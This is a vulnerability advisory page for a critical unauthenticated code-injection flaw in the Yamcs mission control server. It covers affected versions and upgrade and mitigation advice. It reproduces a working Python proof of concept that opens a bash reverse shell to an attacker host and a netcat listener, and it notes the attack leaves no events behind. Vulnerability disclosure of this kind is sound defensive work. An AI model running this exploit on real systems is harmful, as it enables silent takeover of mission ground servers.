Yamcs CVE-2026-46562
CRITICALSeverity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Lifecycle Timeline
3Blast Radius
ecosystem impact- 6 maven packages depend on org.yamcs:yamcs-core (6 direct, 0 indirect)
Ecosystem-wide dependent count for version 5.12.7.
DescriptionGitHub Advisory
Remote Code Execution via Mission Database algorithm override
Summary
The Nashorn ScriptEngine used to evaluate user-supplied algorithm text in MdbOverrideApi.updateAlgorithm is constructed without a ClassFilter, allowing a user with the ChangeMissionDatabase privilege to execute arbitrary Java code on the Yamcs server. In Yamcs's default configuration (no security.yaml), the built-in guest user has superuser=true, so the vulnerability is reachable without authentication.
Details
Vulnerable file: yamcs-core/src/main/java/org/yamcs/algorithms/ScriptAlgorithmExecutorFactory.java
// L46-53 Nashorn engine obtained without a ClassFilter
ScriptEngineFactory factory = scriptEngineManager.getEngineFactories().stream()
.filter(candidate -> !JDK_BUILTIN_NASHORN_ENGINE_NAME.equals(candidate.getEngineName())
&& candidate.getNames().contains(language))
.findFirst().orElse(null);
if (factory != null) {
scriptEngine = factory.getScriptEngine(); // ← ClassFilter not supplied
}
// L109 user-supplied algorithm text reaches eval()
scriptEngine.eval(functionScript);NashornScriptEngineFactory.getScriptEngine() accepts an optional ClassFilter that restricts which classes JavaScript can reach via Java.type(...). Yamcs passes no filter, so attacker-supplied JavaScript can reach any Java class - for example, Java.type("java.lang.Runtime").getRuntime().exec(...) runs arbitrary OS commands inside the Yamcs JVM.
The path from HTTP request to eval is: MdbOverrideApi.updateAlgorithm (yamcs-core/src/main/java/org/yamcs/http/api/MdbOverrideApi.java:145-189) → AlgorithmManager.overrideAlgorithm (yamcs-core/src/main/java/org/yamcs/algorithms/AlgorithmManager.java:529-559) → ScriptAlgorithmExecutorFactory.makeExecutor (yamcs-core/src/main/java/org/yamcs/algorithms/ScriptAlgorithmExecutorFactory.java:102-117) → scriptEngine.eval(...).
PoC
Run against any reachable Yamcs deployment that has at least one JavaScript CustomAlgorithm in its MDB (the simulator example MDB includes several, such as /YSS/SIMULATOR/Battery_Voltage_Avg).
Attacker-side listener:
nc -lvnp 4444#!/usr/bin/env python3
"""
Usage: python3 <poc>.py http://target:8090 LHOST LPORT
"""
import json, sys, time, urllib.request
TARGET = sys.argv[1].rstrip("/")
LHOST = sys.argv[2]
LPORT = int(sys.argv[3])
INSTANCE = "simulator"
PROCESSOR = "realtime"
ALGORITHM = "YSS/SIMULATOR/Battery_Voltage_Avg"
# Close the generated wrapper function with `}`, execute the payload at
# top level, then re-open a dummy function so the trailing `}` emitted
# by ScriptAlgorithmExecutorFactory parses. No throw -> no event fired.
payload = (
'} '
'Java.type("java.lang.Runtime").getRuntime().exec('
f'["bash","-c","exec 3<>/dev/tcp/{LHOST}/{LPORT}; id >&3; sh -i <&3 >&3 2>&3"]); '
'function _x(){'
)
patch = f"{TARGET}/api/mdb-overrides/{INSTANCE}/{PROCESSOR}/algorithms/{ALGORITHM}"
def http(method, url, body=None):
req = urllib.request.Request(url, data=json.dumps(body).encode() if body else None,
method=method, headers={"Content-Type": "application/json"})
return urllib.request.urlopen(req, timeout=10).read()
http("PATCH", patch, {"action": "SET", "algorithm": {"text": payload}})
time.sleep(2)
http("PATCH", patch, {"action": "RESET"})<img width="1841" height="881" alt="nashorn-rce-poc" src="https://github.com/user-attachments/assets/48432eea-67b5-4f3b-af97-c77325b0d671" /><br>
The override path emits events only when evaluation fails: a WARNING from ScriptAlgorithmExecutorFactory.java:112 and a CRITICAL from AlgorithmManager.java:546. Any syntactically valid payload - like the one above - succeeds silently and no event is fired, so the attack leaves no trace in the Yamcs event stream.
Impact
Arbitrary code runs as the OS user running the Yamcs server, leading to compromise of that server and disruption of the mission it controls.
For a Yamcs deployment managing spacecraft operations, an attacker can:
- forge or block telecommands, suppress alarms, and tamper with the telemetry archive - disrupting or seizing control of the mission;
- read any file the Yamcs process can read (cryptographic keys, credentials, MDB source files, configuration);
- pivot to other ground-station systems reachable from the server (TSE instruments, neighboring Yamcs instances, internal services);
- install a persistent backdoor via the same primitive.
Who is impacted:
- All Yamcs deployments running in the default configuration (no
security.yamlpresent): any unauthenticated network attacker that can reach the HTTP API port (default8090). - Yamcs deployments with security enabled: any user that has been granted the
ChangeMissionDatabasesystem privilege. This privilege is commonly given to MDB engineers and operators who edit calibrators or thresholds; the vulnerability turns that privilege into arbitrary code execution on the server.
Affected Versions
All Yamcs releases that ship the algorithm override endpoint are affected - no ClassFilter has ever been applied to the script engine.
- First vulnerable release:
yamcs-4.7.3(2018-11-22). Introduced in commit951e505d18a3912813b59edc685cbcbd4c609906("added possibility to change in a running processor alarms, calibrations and algorithms texts"). The commit added theChangeAlgorithmRequestRPC (later renamedUpdateAlgorithmRequest) and routed it asPATCH /api/mdb/{instance}/{processor}/algorithms/{name*}. - Routing change at
yamcs-5.5.0(2021-04): the endpoint was split out ofMdbApiintoMdbOverrideApiand moved toPATCH /api/mdb-overrides/{instance}/{processor}/algorithms/{name*}. The underlyingscriptEngine.eval(...)sink and the missingClassFilterare identical. - Latest release:
yamcs-5.12.6(commitf1a26fe54587fab9960d7e53fc1bf0c879220e9e) is affected. These four files (MdbOverrideApi.java,AlgorithmManager.java,ScriptAlgorithmExecutorFactory.java,SecurityStore.java) are unchanged between5.12.6and currentmaster(96d3e2d474415bea859f40ecbddc1bb8a0d141c1) - no upstream fix exists.
In short: every Yamcs release from 4.7.3 through 5.12.6, plus current master, is vulnerable (133 release tags spanning 2018-11-22 to present).
AnalysisAI
Remote code execution in the Yamcs mission control framework (org.yamcs:yamcs-core, releases 4.7.3 through 5.12.6) lets a caller of the algorithm-override endpoint run arbitrary Java/OS code on the ground server. The Nashorn JavaScript engine that evaluates user-supplied algorithm text is created without a ClassFilter, so payloads can reach any Java class (e.g. java.lang.Runtime) and execute commands as the Yamcs process user; because the default install (no security.yaml) gives the built-in guest user superuser=true, the endpoint is reachable by an unauthenticated network attacker. A detailed working exploit is published in the GitHub Security Advisory (publicly available exploit code exists); the issue is not listed in CISA KEV and no EPSS score was provided in the input.
Technical ContextAI
The flaw is a CWE-94 code-injection in the JVM-based Yamcs server (CPE pkg:maven/org.yamcs:yamcs-core). Yamcs lets operators redefine telemetry-processing algorithms whose body is JavaScript; that body is executed by the JDK Nashorn engine via ScriptAlgorithmExecutorFactory. NashornScriptEngineFactory.getScriptEngine() accepts an optional ClassFilter that whitelists which Java classes scripts may reference through Java.type(...); Yamcs calls the no-argument form, leaving the sandbox wide open. User input flows from the HTTP handler MdbOverrideApi.updateAlgorithm to AlgorithmManager.overrideAlgorithm to ScriptAlgorithmExecutorFactory.makeExecutor and finally to scriptEngine.eval(), where attacker text such as Java.type("java.lang.Runtime").getRuntime().exec(...) escapes JavaScript into native command execution inside the Yamcs JVM. The override path only emits WARNING/CRITICAL events when evaluation throws, so a syntactically valid payload runs silently and leaves no trace in the Yamcs event stream.
RemediationAI
Vendor-released patch: 5.12.7 - upgrade org.yamcs:yamcs-core to 5.12.7 or later, as published in advisory GHSA-vmwp-vh32-rj75 (https://github.com/yamcs/yamcs/security/advisories/GHSA-vmwp-vh32-rj75). If you cannot upgrade immediately, the highest-value compensating control is to stop running in the default no-auth configuration: deploy a security.yaml so the guest user no longer has superuser=true, which removes the unauthenticated path and forces an attacker to hold a real account. With security enabled, tightly restrict the ChangeMissionDatabase system privilege to a minimal set of trusted MDB engineers, since that privilege is the authenticated route to code execution (trade-off: legitimate operators editing calibrators, thresholds, or algorithms will need that privilege granted explicitly). Additionally, network-restrict the HTTP API port (default 8090) to trusted management networks or behind a VPN/reverse proxy with access control, accepting that this blocks legitimate remote operators not on that network. Note that disabling JavaScript algorithms is not a clean toggle and the endpoint requires only that the MDB already contain a JavaScript CustomAlgorithm, so network and privilege controls are the more reliable interim mitigations until 5.12.7 is applied.
Oracle Java SE 7 Update 6 and earlier contains multiple sandbox bypass vulnerabilities via the ClassFinder and forName m
Remote code execution in IBM Sterling B2B Integrator, Sterling Integrator, and Tivoli Common Reporting allows unauthenti
Java Runtime Environment sandbox bypass via incorrect image channel verification in 2D component allows remote unauthent
Oracle Java SE JDK/JRE 7 and 6 Update 27 and earlier allows remote code execution with complete system compromise throug
JBoss Seam 2 in Red Hat JBoss EAP 4.3.0 fails to sanitize JBoss Expression Language inputs, allowing remote attackers to
Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 update 4 and earlier, 6 up
Multiple vulnerabilities in Oracle Java 7 before Update 11 allow remote attackers to execute arbitrary code by (1) using
Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 Update 2 and earlier, 6 Up
The WLS Security component in Oracle WebLogic Server 10.3.6.0, 12.1.2.0, 12.1.3.0, and 12.2.1.0 allows remote attackers
Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 Update 7 and earlier allow
Remote unauthenticated attackers can execute arbitrary code on Adobe ColdFusion servers through Java deserialization fla
The ExceptionDelegator component in Apache Struts before 2.2.3.1 interprets parameter values as OGNL expressions during
Same weakness CWE-94 – Code Injection
View allShare
External POC / Exploit Code
Leaving vuln.today
GHSA-vmwp-vh32-rj75